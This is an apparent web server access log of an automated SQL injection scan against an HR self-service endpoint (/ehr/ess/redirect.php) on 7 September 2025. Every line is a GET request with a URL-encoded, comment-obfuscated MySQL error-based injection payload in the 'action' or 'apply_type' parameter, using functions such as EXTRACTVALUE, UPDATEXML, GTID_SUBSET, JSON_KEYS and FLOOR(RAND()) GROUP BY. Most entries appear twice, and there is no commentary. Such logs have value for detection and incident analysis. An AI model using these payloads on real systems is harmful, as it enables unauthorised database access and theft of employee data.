100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x58365751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c68626b%29%29%2C1%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4149524f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37596478%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4149524f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37596478%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x3850766a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34523444%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x3850766a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34523444%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6e325034%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63786636%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6e325034%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63786636%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x726b6455%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36636f4f%29%29x%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x726b6455%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36636f4f%29%29x%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x707a6442%2C%28NULL%29%2C0x4e6c414f%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x707a6442%2C%28NULL%29%2C0x4e6c414f%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x75744a6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45523145%29%2C6420%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x75744a6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45523145%29%2C6420%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x76316863%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53367576%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x76316863%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53367576%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x43736739%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a4f6141%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x43736739%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a4f6141%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x47534171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x385a534d%29%2C6420%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x47534171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x385a534d%29%2C6420%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4f516e31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58585a7a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4f516e31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58585a7a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x78484561%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794a6138%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x78484561%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794a6138%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x72524d30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a425032%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x72524d30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a425032%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6148735a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x377a6e75%29%29x%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6148735a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x377a6e75%29%29x%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7964666c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x544d4e48%29%29%2C1%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7964666c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x544d4e48%29%29%2C1%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x63763250%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7654626e%29%2C5431%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x63763250%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7654626e%29%2C5431%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x326c3855%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e496967%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x326c3855%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e496967%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x426d3638%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57705579%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x426d3638%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57705579%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4a4e496e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7471534f%29%2C5431%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4a4e496e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7471534f%29%2C5431%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6b444971%2C%28NULL%29%2C0x466a7473%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6b444971%2C%28NULL%29%2C0x466a7473%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x71797831%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a463474%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x71797831%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a463474%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:51 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x365a5435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x745a4a46%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
